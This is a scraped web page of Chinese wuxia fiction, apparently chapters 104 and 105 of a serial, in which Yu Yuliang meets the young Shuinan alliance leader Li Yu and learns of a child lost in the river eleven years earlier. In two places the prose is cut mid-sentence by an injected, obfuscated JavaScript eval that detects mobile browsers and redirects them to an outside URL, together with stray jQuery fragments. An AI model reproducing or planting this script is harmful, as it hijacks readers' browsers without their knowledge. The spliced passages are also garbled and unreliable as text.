那年轻公子转头看向茫茫江面,雨馀凉看到他的眼眸在阳光下显出一种透亮的金棕色,那年轻公子道:“如今水西的武林人士大举来到临蓟,我见少侠望着江面,还以为少侠是在看仲邑江另一边的水西土地。” 不。雨馀凉想,他遥望的只是那成谜的过去而已。 那年轻公子对雨馀凉比了个手势,道:“不知少侠可愿跟我一同在江边走走?” 雨馀凉略一思索,也对那年轻公子比了个手势道:“公子请。” 两人一边走,那年轻公子一边问道:“敢问少侠如何称呼?” 雨馀凉道:“嗯……敢问公子如何称呼?” 那年轻公子道:“我叫……邱新。” 雨馀凉道:“在下雨馀凉。” 邱新道:“不知雨少侠来自何门何派?” 雨馀凉道:“我没有门派。” 邱新道:“哦?雨少侠是自学武功么?” 雨馀凉道:“不是,我有师父,我师父她……呃……也是自己一个人,没有门派。” 邱新道:“你是散客游侠,这次来临蓟也是为了亲眼目睹即将发生的大事的么?” 雨馀凉心想,大事?不,跟姬花青一样,他也丝毫不关心水南武林局势接下来的走向,他只想做自己的事。但眼前之人不过刚认识,雨馀凉遂道:“……是。” 邱新道:“雨少侠对眼下的形势有可什么看法?” 雨馀凉道:“没有。” 雨馀凉是真没有看法,但他觉得方才自己的回答似乎是显得有些冷漠,于是又加了一句:“这件事情的走向不是我们这些无名小卒能够决定的。” 邱新道:“那么雨少侠是认定这次李氏会败,之后水南武林会由水西卫氏或聊氏掌管?” 雨馀凉道:“这……”说实话,他不知道。他不是没想过这些问题,身为水南人士,他第一反应自然是不希望水南武林落入水西之人的掌控,但想到最后,他又觉得,这对他来说似乎也没什么差别。 邱新道:“你既是水南人,那么应该知道,如今的水南武林盟主李氏当年是如何得到这一位置的?” 雨馀凉知道。 八百多年前,那时水南、水西、水东三地武林尚在一个武林盟主的治下。这位武林盟主是卫氏子孙,就是当年一统了三地武林的卫寂霆的后代。这位卫姓武林盟主膝下只有一女,女儿尚还年幼时,这位盟主便得了重病,他知道自己命不久矣,于是开始为女儿的今后筹谋。他需要有人在他死后主持大局,但他信不过自己的手下,于是他让自己的亲弟代为行使盟主的权力,等到女儿能够亲自处理盟主的事务后,便让她正式成为下一任武林盟主。 这位前盟主的弟弟品性十分高尚,他没有像人们司空见惯的故事里那样,将盟主之位据为己有,并传给自己的后代,而是在去世前告诉手下,将盟主之位还给自己的侄女。 前盟主的弟弟得病去世的时间刚好在他侄女成年的时候,一切看上去都刚刚好。 然而就在前盟主的弟弟咽气,新的武林盟主准备上任的时候,一个人站了出来,这个人告诉所有人:武林盟主之位应该给他。 这人不是别人,正是那位刚去世的代盟主的儿子,与新盟主乃堂姐弟。 这本应是件十分荒谬的事,因为无论是前任武林盟主,还是之前的代盟主,都明确表示下一任盟主就是他们的女儿和侄女,但就是如此荒唐的言论,竟获得了不少支持。 因为新盟主的堂弟告诉其他人,他父亲,也就是之前的代盟主,不是得病去世的,而是由自己的堂姐令人下慢性毒药毒害的。她唯恐自己叔叔不把盟主权力交还给自己,便用了这条毒计。武林盟主应当是由有大德之人担任,又如何能把这个位置交给一个如此阴险歹毒之人?这样的人坐上这个位置,将来武林中安有宁日? 不少人细细一想,便觉得这指控不是没有道理,否则如何解释代盟主死亡的时间刚好在新盟主成年时?这时间点也太巧合、太蹊跷了点。 而另一个新盟主堂弟获得广泛支持的原因是:新盟主是个女子。 尽管从前不是没有出现过女性武林盟主,各武世家、门派不是没有过女家主、女掌门,但很多人依旧认为,武林盟主这个位置,还是由男子担任好些。 因为男子更坚毅、更顽强,更具韧性、勇气,心胸更加宽广。而女子不仅在这些方面比不过男子,且“最毒妇人心”,女人天生小心眼,阴毒远在男人之上。 他们坚信这点。 争斗开始了。 新盟主告诉她的堂弟:关于他对她的控告全都是空穴来风,主动投降,她会让他没有痛苦地死去。 她的堂弟回应道:一个下毒暗害自己亲属的毒妇说出的话就像在放屁,他不会相信她,并会将她从盟主之位上扯下来。 新盟主称她堂弟为“篡逆之辈”,而她堂弟则回击道:等他成了武林盟主,她才是贼臣乱子。 这场纷争没有赢家,最后以新盟主的堂弟逃往水东告终。而那位女盟主也元气大伤,无力再去追剿堂弟的残余势力。卫氏的一名李姓手下看准这个时机,在水南建立起一股听命于自己的势力,自立为水南武林盟主。自此,江湖鼎立之势初步形成。 见雨馀凉点头,邱新道:“如今水西势力来到水南,水南武林人士个个义愤填膺,可水南本就不属于李氏啊。李氏先祖得到这个位置的手段并不符合道义。” 邱新说话间满是感慨语气,二人脚步踩在江滩上,发出细碎的声音。 雨馀凉想说什么,却又不知说什么。 在他看来,邱新说的,是有道理的。 但这显然不符合大多数人的想法。 雨馀凉突然想起了什么,他急忙往四周张望,方才邱新说的那番话若被别人听去了,尤其是被武林盟主李氏的人听去了,可能会引起不小的麻烦。 邱新继续道:“不止如此,我之前找到一部笔记,根据那部笔记上的记载,一百多年前裴秉延死后,他的儿子和女儿曾一度将水南武林划归于水西治下,不过在他们死后,水南武林很快又独立了出去。” 邱新说这话倒是让雨馀凉吃惊不小。他在谷州刀派时,虽极度不喜和人动刀动枪,但对于三地武林历史却不可谓不了解,一来是自己对这方面有些兴趣,二是雨休藏书极多,家中书架上第一多的是有关于各流派武功招式的书,而与历史相关的书籍数量则仅次于前者。 但关于裴秉延家室子女的记载甚少,雨馀凉看过的相关书籍对此通常只用一句话带过,且这一句话也只是简单说明裴秉延的妻子来自哪个门派世家,他和他妻子共育有几子几女云云。照理说像是“将水南武林收入囊中”这种壮举,就算史书上不大书特书,至少也不会连提都不提。可邱新刚才说的那段裴秉延子女的往事,就像被人为从历史上挖去了一般。 雨馀凉道:“竟有此事?我……我不是要自夸,过去一两百年的武林沿革,相关书籍我也算看了不少,却从未在哪一本书上看过‘水南武林曾一度被裴秉延的儿女收归治下’的记载。” 邱新道:“不光雨少侠惊讶,我刚看到这段文字时也是讶异无比。不止以前读过的所有书上都没有相关记录,那些熟悉武林历史沿革的人也都对此一概不知。这部笔记是我从家中藏书阁一处角落里翻出来的,看上去很有些年头了。但不管怎样,水南武林跟水西武林或许本就该是一个整体。” 邱新一边说着一边侧头看向雨馀凉,雨馀凉也看着邱新。 两人的脸凑得很近,雨馀凉能看到邱新脸上的细小斑点。 雨馀凉正要说什么,却突然从旁边传来一道女声:“大人!原来你在这!” 雨馀凉惊了一跳,邱新见到正向自己这边走来的女子,脸上现出极不自然的神色,只听他对那女子道:“那个……那个……陆姑娘,那啥……我……” 雨馀凉也转头看去,见一年轻女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894660|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子正气势汹汹朝自己这边走来,这女子身形微胖,背上斜背着一把剑,雨馀凉觉得有些熟悉,他好像在什么地方见过这女子。 那女子走到邱新面前,双眉皱起紧握两拳道:“非常时期,还请您好好待在府中不要到处乱跑,我的盟主大人!”看她表情,似乎十分气愤。 雨馀凉虽有很多讶异、疑问,但此刻都被一个念头压下去了,因为他听见这女子叫邱新“盟主大人”。 雨馀凉一脸不可置信地看着邱新,道:“盟主大人?你……你是李愈……” 李愈眼皮垂下片刻,他看向雨馀凉,道:“不错,我就是李愈。雨少侠,抱歉,我怕你知道我的真实身份后,就不肯对我说真话了。” 雨馀凉这一惊非同小可,眼前这人,竟是他们水南现如今的武林盟主李愈。 那女子似乎这时才注意到雨馀凉的存在,她警惕地看向雨馀凉,道:“你是谁?” 但下一刻,雨馀凉和那女子对视的瞬间,二人都记起对方是谁了。 这女子正是陆临,重云门门主郑宝卿的大弟子。之前在谷州府郊外,正是她将雨休雨馀凉爷孙点穴抓回,也是她对骄傲自大的谷州刀派大弟子铎占文冷冷嘲讽,一番刻薄言语说得对方下不来台。 陆临想起雨馀凉是谁后,刷的一声就拔出背上利剑。李愈吓了一跳,道:“陆姑娘,你这是干什么?” 陆临剑尖指向雨馀凉,道:“大人,此人危险,赶快退到我身后!” 雨馀凉觉得自己有必要解释一下,于是对陆临道:“陆……姑娘,我不是歹人,没有歹意!”他想要上前,却被陆临以剑逼退。 陆临只道:“你接近盟主大人有何企图?雨休跟夏篁是一伙的,”她略微眯眼,“难道你们想在临蓟利用蛊毒傀儡做些什么?” 雨馀凉道:“不!我爷爷跟夏篁不是一伙,我爷爷他已经去世了,至于夏篁……”他想将夏篁在瑚庄被姬花青等人击败的事说出来,但想到夏篁已从瑚庄地牢逃出,自己多说无益,便道:“我爷爷被夏篁蛊惑才与他合作,但蛊毒傀儡跟我们没任何关系。如今我孑然一人,又能对你们造成什么威胁?” 陆临道:“那你来临蓟做什么?” 雨馀凉道:“我跟着新拜的师父,师父要来临蓟,我也跟着来了。” 陆临道:“新拜的师父?跟夏篁一样,是蛮人?” 雨馀凉心想怎么你什么都要扯到夏篁身上,何况夏篁也不是蛮人,不过是会操控蛊术的水南人罢了。于是道:“我师父不是蛮人,也不会蛊术,跟夏篁、蛮疆什么的没一点关系。”他心想姬花青是水西人,但眼下这个特殊时期,还是不要在陆临和李愈面前提水西比较好,否则说不定又引出一通事来。 陆临听完雨馀凉说这些,回头看向李愈,道:“盟主大人,你的意思是?” 李愈道:“陆姑娘,你也听到了,这位雨少侠不过是个普通的习武少年。谷州府那件事,他是被无辜牵连进来的,就这样吧。” 陆临道:“盟主,你有些过于轻信他人言语了!” 李愈略微板起脸,道:“我是水南武林盟主,这是你跟盟主说话的方式么?” 陆临听李愈这么说,气急道:“盟主,你……你!属下的任务是保护你,可你不仅一声不吭就离开府邸到处乱跑,还如此轻信于人,倘若你有个三长两短,水南武林不复存在,师父处不处置属下都是次要,你让属下如何自处?” 李愈本来是想摆出武林盟主的架子压住陆临,让她安安静静不折腾地跟自己回去,可没想到效果似乎有些过了,陆临说到最后,语声里竟有些带上了哭腔。李愈的气势一下就软了下去,他有些慌了手脚,忙道:“我……陆姑娘,我不会有事,我以后听你的话就是了,你别激动!”同时心想,到底谁是盟主? 雨馀凉看着面前这两个人,两人都是二十岁出头的样子,李愈清癯,陆临体壮,虽然从刚才起就一直吵吵嚷嚷,却意外地给人一种和谐的感觉。 初见时,雨馀凉以为李愈不是武林中人,之后听李愈提起水南武林往事,以及百年前不曾被记录下来的武林中的失落历史,又觉得他是武林中人,且猜到他身份应该不简单,直到陆临出现,雨馀凉才知水南的武林盟主竟然就在自己眼前。 雨馀凉从前只知道他们水南的武林盟主名叫李愈,却从未亲眼见过其人,也不清楚这位盟主的年龄,如今见到真人,才知他们的武林盟主不过是个比自己大不了多少的年轻人。 这位李盟主无论是外貌还是气质都跟雨馀凉想象中差别甚大,他看上去文质彬彬,身形瘦削,是典型的读书人长相。而陆临看见雨馀凉,第一反应是要李愈站在她身后。雨馀凉甚至怀疑,这位武林盟主究竟会不会武功。 陆临道:“既如此,盟主大人,就请回府邸吧。” 李愈临走前,突然转过身来看向雨馀凉,道:“雨少侠,你我相逢一场即是缘分,今后你可到盟主府邸来找我,跟守卫报你的名字就行。” 陆临一听,又激动道:“盟主!万万不可!这雨馀凉身份可疑,怎能让他进到府中?” 李愈道:“陆姑娘,我整日待在府中,好不气闷。我听你的话,不出府乱走,让人进来陪我聊聊天总成吧?府中那么多守卫,再说了,万一有什么事,不是还有你在旁边吗?” 陆临还待要说什么,李愈道:“陆姑娘,郑门主和唐掌门在外帮我张罗,我一个人待在房中,一日接着一日,若再不跟人说话,真的会疯掉的。” 陆临不再言语,到嘴边的话也咽了下去,似乎是妥协了。她看向雨馀凉,眼神如利刃一般,似乎要将雨馀凉剜出一个洞来。 雨馀凉知道,这是一种无声的威胁。 她的意思是,他若不怀好意,她不会放过他。 雨馀凉回到客栈时,天已经黑了,而姬花青还没回来。 他躺在床上,看着月光透过窗户慢慢爬上室内墙壁,回想着白天和李愈的对话,突然意识到,邱新……秋心,秋心?可不就是“愁”么? 104. 烟波(二) 李愈虽邀请雨馀凉去武林盟主府邸找他,但雨馀凉一开始并不想去。直到雨馀凉想到与自己身世相关的问题,似乎可以问一问这位盟主大人,毕竟后者连百年前散轶的往事都略知一二。 那么十一年前,仲邑江边发生的不寻常之事,李愈是否也知道? 雨馀凉站在武林盟主府邸后门前。 前日分别时,李愈告诉雨馀凉,若要来府邸找他,便从后门过来。 雨馀凉不明就里,在打听后门所在的过程中逐渐清楚了原因。 原来府邸前院已住满了贵客,这盟主府邸又占地极广阔,住在前院的各势力各自有一片区域作为本势力的活动空间,各势力间互不打扰。雨馀凉若从前门进入去寻住在后院的李愈,要绕极远的路不说,他不是盟主府邸的人,若误入了一些势力的私人领域,被当做间谍就不好了。 原来除了住在城内客栈旅店的江湖中人,还有贵客直接住在盟主府邸中。雨馀凉想,这些“贵客”又是些什么人呢。 来到后门,报上自己姓名后,果然有一名仆从过来,引着雨馀凉前去李愈所在之处。雨馀凉跟着那名仆从在廊院间七拐八绕,最终来到了一处幽静雅致、有数间屋子的院落。 那名仆从告诉雨馀凉:盟主就在屋内。说完便退下了。雨馀凉还想问些什么,可那仆从离去如风,眨眼间便消失在了重重院墙之后。 雨馀凉无法,站在门口朝屋内张望一番,抬脚进了屋中。 室内静悄悄的,他不由得放轻了脚步,绕过一面屏风,雨馀凉看到纱帷后似乎有一道人影。 正当雨馀凉犹豫着要不要过去时,帷幕后传来笑声,那道模糊的人影道:“雨少侠,你还是来了。” 话音刚落,两个侍从自左右两边闪出,同时将帷幕捞起,用金丝绳系住。 雨馀凉定睛看去,只见李愈身着绛红色袍服,一头长发不再披散,而是用金冠束好。 与那日在江边见到时不同,那时的李愈是个体形单薄的文士,而这时的他则是个矜贵优雅的公子,但无论是哪一种打扮,都能看出他身体似乎并不很好。 雨馀凉正准备上前,站在李愈身边的陆临往前踏上一步,道:“雨少侠,你不能再靠近了。” 雨馀凉这才注意到李愈左右两边还各站着一人,其中一人是重云门女弟子陆临,而另一人竟也十分眼熟。 雨馀凉不可置信地看着李愈旁边的少年,道:“权……” 权宁笑容腼腆,对雨馀凉道:“雨少侠,瑚庄一别,不想在这里再见。琥沙派弟子权宁,见过雨少侠。” 李愈疑问地嗯了一声,看着权宁,又看向雨馀凉,道:“你们之前见过?” 权宁对李愈恭敬道:“回盟主的话,我与这位雨少侠不止见过,在龙虎寨时,雨少侠还救过我的命。” 李愈看向雨馀凉,眼里现出惊喜之色,道:“哦?原来雨少侠就是你提到的那位高人。” 权宁道:“除雨少侠外,还有一位姬姑娘也是武功高强,若没有她,我们怕是都要折在那匪寨中。” 李愈道:“姬姑娘?”他看着雨馀凉,“跟雨少侠是一道的么?” 雨馀凉道:“那位姬姑娘正是我的师父。” 李愈笑道:“原来如此!” 原来权宁是琥沙派弟子,雨馀凉想。先前在龙虎寨时,雨馀凉并不知道权宁的身份,不知他来自何门何派,关于自己的事情,权宁基本没有透露什么。雨馀凉能理解权宁这样做的原因,江湖上尚且不清楚对方身份时,一般不会自报家门,武林中恩怨牵缠,各路关系复杂,就算你和对方相见不识,也说不准对方就是你的仇家的朋友或你门派的仇家。上辈的恩怨延续到下辈,然后莫名其妙就动起手来,这种事在江湖上时有发生。 适才见权宁站在李愈身边,雨馀凉便猜到他来头不简单,随后听他说自己是琥沙派弟子,雨馀凉想,果然跟陆临一样,是水南武林盟主所倚重的水南大派的弟子。 李愈突然对陆临道:“雨少侠是我的客人,现在我想和他单独谈谈。”陆临不可置信地看向李愈,刚说个了“可是”,李愈就看向陆临道:“陆姑娘,你下去吧。” 陆临不动,她道:“盟主,属下得保证你的安全。” 李愈道:“现在盟主需要你暂且回避。” 陆临看着地面,咬牙道:“恕属下不能从命。” 李愈看着陆临,正色道:“陆临,我的命令你敢不从?你现在不听我的命令,是想自己来做盟主?你师父郑门主派你跟在我身边就是为了让你事事跟我作对?”从那日在江边见到这二人,雨馀凉一直都听李愈称陆临是“陆姑娘”,如此叫她大名还是第一回。 陆临听了这话,脸上现出既难过、又不甘的神色,但她最终还是对李愈道:“属下不敢,属下这就出去。”遂绕过屏风走到屋外。 李愈又对权宁道:“权宁,你也下去。” 权宁对李愈唯唯道了声是后,也跟在陆临后面出去了。 李愈看向雨馀凉,道:“我若不把话说得重些,她是不会听的。雨少侠莫怪,陆姑娘也是担心我的安危。”他看向窗外,“只要是交给陆姑娘的事,她都做得很认真。” 雨馀凉顺着李愈的目光看去,外面天色明亮,透过纱窗,能朦朦胧胧地看见陆临的背影。她并未走远,而是守在屋外,长剑抱在怀中。 李愈又看向雨馀凉,微笑道:“雨少侠,是什么促使你最终还是来见我?” 雨馀凉突然感到有哪里不对劲,他跟李愈明明只是在江边见了一面,可李愈居然就敢将所有侍从护卫都遣走,单独与他共处一室。 蹊跷得有些诡异了。 跟姬花青同行了这么久,雨馀凉早已不是当初那个愣头青,他见了许多,知道江湖上稀奇古怪的事时有发生,而这些稀奇古怪很多都伴随着令人毛骨悚然的杀人手法。 雨馀凉想到这层,背脊紧绷起来,他手指微动,做好了随时拔刀的准备。 李愈虽然体弱,但眼神很是敏锐,他看出了雨馀凉的不自然,笑道:“雨少侠莫紧张,在下对少侠没有歹意。”他顿了顿,“所以雨少侠能够回答我方才的问题了吗?” 雨馀凉道:“如果我说是因为上次见面,我甚感与盟主投缘,只是单纯应盟主相邀前来,盟主信吗?” 李愈摇头,笑道:“不信。因为上次雨少侠明明表现出对我甚是防备。” 雨馀凉心中快速思索一阵,心想不如开门见山,于是道:“盟主可还记得十多年前仲邑江边发生过什么不同寻常的事?” 李愈一只手摸上下巴,道:“十多年前?嗯,这个范围有些广,雨少侠或许可以再将时间说得具体点?” 雨馀凉微不可察地轻喘一口气,道:“十一年前。” 李愈看向斜上方思索了一会,道:“没有。” 这个回答让雨馀凉很是失望,但他不甘心,于是追问道:“当真?盟主确定没有漏记什么?” 李愈道:“雨少侠,你好大的胆子,你是在质疑本盟主?”李愈到底是水南武林盟主,如此正色疾言,上位者高贵端严的气度自然而然地显现出来。雨馀凉一惊,正准备解释,李愈却又忽然叹了口气,对雨馀凉笑道:“这没什么。” 雨馀凉看着李愈,眼神有些惊疑不定。李愈继续道:“雨少侠,十一年前,仲邑江边确实没发生什么不寻常之事。那时我年纪虽小,却已经开始阅读记事卷宗,并跟随我父亲学习处理水南武林事务,所以关于这个,我是记得很清楚的。” 雨馀凉听了李愈这番话,一颗心正往下沉时,李愈的声音又幽幽传入他耳中:“我们李家的势力范围只在水南,我说的十一年前江边无事也只是就仲邑江南岸而言。”李愈抬眼看向雨馀凉,“所以雨少侠,先别急着失望。” 雨馀凉心想:“我要得到自己身世的答案,难道还要前往仲邑江北岸水西地界不成?”他千辛万苦来到临蓟,到头来却得知自己要的东西可能还在更遥远的地方,想到这里,不由一阵焦馁气苦。 李愈道:“雨少侠是否已经在想着去水西的事?” 雨馀凉此刻思绪万千,李愈的话只从他耳边飘过,他只顾出神,没有回答李愈。李愈又道:“不过十一年前,仲邑江上游北岸确实发生了一些事,我亦有所耳闻。” 雨馀凉闻言,眼眶睁大,抬头看向李愈,只见李愈脸现笑容,却不再说下去。 雨馀凉心头一突,隐约意识到接下来李愈要说什么了。 天下没有白来的好处。想要从别人那里得到东西,自己便需拿出一些东西作为交换。这是放之四海而皆准的道理。 不知他会向自己要求什么?堂堂水南武林盟主能向自己这个江湖小卒要什么呢? 李愈接下来果然道:“雨少侠若想知道,可否先答应我一个条件?” 雨馀凉喉结上下滚动了一下,道:“不知盟主的条件是?” 李愈继续微笑:“少侠先说答不答应呢?” 雨馀凉一来不知李愈需要他做什么或拿出什么,往大了说,这条件可能是一条人命,包括他自己的;二来不知李愈的这一消息于他追寻身世是否有用。 于是不敢贸然答应,只道:“还请盟主先说条件,若超出馀凉能力范围,恐怕不能草率答应盟主。” 李愈道:“少侠宽心,不是什么难事。” 雨馀凉仍是道:“请盟主先告知馀凉,究竟是怎样的条件?” 李愈叹了口气,道:“好罢。”他看着雨馀凉的脸,郑重道:“我想请雨少侠在这陪我说几天话。” 此言一出,雨馀凉怔愣住了。 只是这样? 雨馀凉有些不可置信地看向李愈,后者说到最后,脸上竟现出了些许赧然之色。 李愈有些不好意思地抬起眼,看着雨馀凉道:“雨少侠可答应?” 雨馀凉大是意外,道:“呃……我……我答应盟主。”话一出口,雨馀凉便想,我是不是该说“谨遵盟主之命”? 李愈见雨馀凉答应,显出极欢喜的神色,道:“好,一言为定。雨少侠,现在该我来告诉你你想知道的了!” 雨馀凉一下严肃了神色,准备侧耳细听李愈接下来所言。 李愈道:“十一年前,我们水南驻守在仲邑江上游的人沿江边巡逻时,曾看见江对岸有一群人骑在马上正搜寻着什么。” “我们的人于是躲在岸边树林里,看了一会便发觉这些骑着马的人是在追捕两个小孩子。两个孩子大的那个约莫十四五岁,小的那个看上去不过五六岁。” 听到李愈说“五六岁”,雨馀凉心中一凛,尽管没有任何证据能说明他跟这件事有关,但他内心产生了一种隐约的预感。 李愈道:“我们的人很疑惑,为什么这么多人要大张旗鼓地去抓两个小孩子?他们躲在树丛后继续看,却见其中那小一些的孩子备受惊吓,手忙脚乱间失足跌入了江中。那时正逢雨季,江水猛涨,水流湍急,那小孩很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969247|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便被冲向下游,几个浪头翻过后,小孩子的身影便湮没在江水中了。” 雨馀凉听李愈说那小一些的孩子落入了仲邑江中,从方才起就开始积累的情绪到达顶峰,他内心大是激动,虽然极力忍耐,可浑身还是不住地颤动。 李愈似乎没看见雨馀凉的异常,仍继续往下说道:“那大一些的孩子见小孩子落入江中,便立即趴到江岸去看,可除了湍急的江水还能看见什么?小孩子落入江中似乎对他造成了很大的打击,很快,那大一些的孩子便被追他们的人擒住了。哦,有一点忘了说,那大一些的孩子虽然年纪不大,但武功已经达到了相当的造诣,在这许多大人的围追堵截下,还能护住自己和那小孩子那么长的时间。” 李愈抬眼看向雨馀凉,道:“我不知道这事是否是雨少侠想听的那件事,不过除这件事以外,就我所知,十一年前的仲邑江边上也再没发生过其他不寻常之事了。” 雨馀凉过了好一会才缓过来,对李愈道:“那……那个时候,盟主你们的人没有问那些人是谁吗?还有那两个孩子,那两个孩子的身份……” 李愈道:“水南与水西井水不犯河水,那群人虽在水西水南边境处抓人,却也没有在水南的地界上怎么样。我们的人有什么立场上前去问?那群骑马之人抓住那大一些的孩子就也走了,我们的人随后向临蓟上报了这件事,我父亲才得以知道。” 雨馀凉眼神一黯,他仍有些不死心,道:“那么敢问盟主大人,十一年前的时候,水西可有发生什么不寻常之事?”雨馀凉对离现在较为久远的武林历史较为熟悉,是因为相关的书看得多,但对于近二三十年的事,他便不那么清楚了。 李愈笑了,道:“我是水南武林盟主,对水西内部的事,能有多清楚呢?况且整个水西跟仲邑江相比,实在是过于大了,不寻常的事在一年中能发生很多很多。” 听李愈这么说,雨馀凉也觉自己这问题问得有些可笑了,可他同时亦感到自己离想要的答案已经很近,就在如此近的地方,线索却又断了,雨馀凉实在有些不甘心。 “不过,”就在雨馀凉难掩沮丧神情时,李愈又道:“那年水西鄜城倒是发生了一件事,这件事不算小,却也不是那么大,我也不知那两个孩子遭到追杀是否与此事有关。” 看到雨馀凉迫切期望自己说下去的神情,李愈抿嘴笑道:“雨少侠,接下来我说的就是额外奉送的内容了,你可要在心中好好感谢我才是。” 雨馀凉道:“啊?啊……馀凉在此谢过盟主!” 李愈脸上笑意逐渐敛去,他沉声道:“十一年前,水西掌盟晁游——那时他还不是掌盟,向他们盟主进言,称水西的一些势力密谋反叛,要将卫氏赶下台,选出新的水西武林盟主。于是在经过卫氏同意后,以晁游为首,卫氏手下的一众人马迅速对晁游指认的那些势力进行了清剿。这次清剿过后,晁游在水西的地位步步高升,最终爬到了掌盟的位置。” 在听到“清剿”二字后,雨馀凉双眼便发直地盯着屋内的香炉,伴随着李愈清晰的咬字、镇静的语调,一个巨大的真相突然铺展在他面前,但他却一点都不敢往深处细想,只觉这真相是一个漆黑的洞,似乎有粘稠的红色血液从里面漫出。 雨馀凉道:“被清剿的,是哪些势力?”雨馀凉张口说话,才惊觉声音仿佛都不是自己的了。 李愈道:“很多,很杂,有的存在于一个门派中,但这不代表门派里其他人跟这些人属同一阵营。当年这事发生时,据我们李氏得到的消息,牵扯进其中的人数应当有一千以上。” 雨馀凉喉咙干涩,他有些艰难地吞咽了一下。 李愈没有问雨馀凉为什么要问这些问题,亦没有问他与幼童落江、水西清剿两件事有什么关系,只是道:“雨少侠,你的问题我已经全部回答完了。”这位年轻的盟主有些出神,“说起来当年那个跌落江水的小孩子若还活着,是不是与雨少侠你一般大呢。” 雨馀凉眼珠移动,看向李愈,道:“馀凉多谢盟主告知……告知这一切。” 李愈道:“少侠不必谢我,这是我们的交易,是你换来的,我只希望少侠信守自己的诺言。” 雨馀凉颔首道:“馀凉这几日都会在这里,跟盟主说话。”雨馀凉一边说着,一边想,他向我要求的只是陪他说话,真是好生奇怪,而我适才答应他时,他的高兴也不像装出来的……武林盟主会缺陪他说话的人吗?尽管内心尚未完全平复,但雨馀凉已迫使自己将思绪从方才李愈说的事上拉了回来,现在的他,应该专心面对眼下的事。 李愈听雨馀凉这么说,看着地面,嘴角微弯又是一笑。 雨馀凉想了想,还是将心中的疑问委婉地提了出来,他道:“陆姑娘、权宁小兄弟也能陪盟主说话。” 李愈笑着摇了摇头,语气有些落寞:“陆姑娘心中只有剑法。至于权宁小兄弟,他年纪尚小,一派天真,从小待在临蓟,在琥沙派生长,几乎从未到江湖上闯荡,第一次离开门派去办师父交给他的事就被贼人擒住,还是多亏了雨少侠你才捡回一条命。有些话,和他说不了的。” 雨馀凉默然。眼前这位在水南地位无比尊崇的武林盟主,似乎远比自己想象的无奈、寂寞。 之后几天,雨馀凉都是一早就前往盟主府邸,到了傍晚才回客栈。他想要得到的信息差不多都已经拿到了手,至于之后怎么办,是去往水西继续探查还是怎样,雨馀凉心中尚且没有答案。而姬花青仍是早出晚归,整天见首不见尾。 105. 烟波(三) 雨馀凉天天来找李愈,李愈便每天中午都留雨馀凉吃午饭。盟主府邸中菜食|精致丰盛,雨馀凉不仅大饱口福,也大开眼界。 这日午后,后院四处都静悄悄的,雨馀凉、李愈、陆临、权宁围坐一桌吃饭,不时传来调羹触碰瓷碗发出的轻微叮叮声响。 和李愈一桌吃饭,雨馀凉起先是不自在的。毕竟在谷州刀派时,他从来受到的训导都是弟子对师父师伯师叔等长辈要无比恭敬尊重,上下等级十分分明。谷州刀派尚且只是水南一个不起眼的小派,如今雨馀凉身边坐着的可是他们水南的武林盟主,雨馀凉悄悄觑向陆临和权宁,发觉这两人倒是十分自如。雨馀凉想,盟主、陆姑娘以及权宁小兄弟应该早就相互认识,彼此之间很熟悉,这才不讲究这些。 雨馀凉想错了,陆临和权宁虽一个是重云门弟子,一个是琥沙派弟子,的确很早就与李愈相识,但在以前,他们彼此间并无什么交集,与其说陆临权宁二人与李愈有什么交情,倒不如说是这二人的师父与李愈有交情——上下级交情。 雨馀凉更不知道的是,陆临和权宁,尤其是陆临,在看上去如此淡定地跟李愈在一张桌子上吃饭前,着实经历了好一番挣扎。 近几十年来,水南武林已大不如前,如今的水南李氏俨然只剩一副空架子,李愈作为水南武林盟主,所能倚重的只有重云门和琥沙派两个水南大派。眼下水西势力大举来到水南,水南内部也人心思变,内忧外患下,既需要有人在外边稳住局势,又需要人手保护盟主。外面的事郑宝卿和唐奕才亲自去处理照看了,盟主府邸的人武功不够,不足以保护好李愈,郑宝卿便将自己的大徒弟陆临拨到盟主府邸,让她好生保护盟主,唐奕才亦让琥沙派小弟子权宁跟着陆临一道待在盟主府邸。 陆临和权宁整日近距离待在李愈身边后才发觉,他们的这位盟主大人,平日见人时端着盟主的架子不苟言笑,私底下却是个奇奇怪怪的人,似乎总有一些奇奇怪怪的想法。 当李愈提出要和陆临和权宁同桌用饭时,权宁年纪小,嘻嘻哈哈就答应了,陆临却是说什么也不肯,奈何李愈用盟主的身份来压她,又保证绝不告诉她师父郑宝卿,陆临无法,这才勉强答应。 李愈这般既捣蛋又时而正经,相处时间一久陆临也就习惯了。陆临倒是个极严肃的人,她对练习本门剑法异常勤奋痴迷,除了吃饭睡觉,其余时间全用在练剑上,所以连洗漱都是草草的,更别说像其他女孩子一般打扮捯饬了。 陆临完全不装扮自己,胭脂水粉之类,她通通没有。她的头发不长但很黑,直接用黑色发带在脑后捆成一束马尾。她穿着式样最简单的单色交领上衣,下身则是武人最常穿款式最普通的裤子,袖口和裤脚再用布条扎紧。一般女孩子注重保持身材,陆临却不管这些,她也不管自己是不是胖了,她每顿吃得很多,饭量比李愈和权宁都大。她觉得也许是自己天生就比别人饭量大,总之,饭少了她吃不饱,而她吃饱了才有力气练武,才能把每一招每一式都使到位,才能好好控制内力。 陆临一天的时间安排让李愈和权宁感到震惊,他们甚至觉得,若人能不吃饭不睡觉,陆临能一天天一刻不停地练下去。 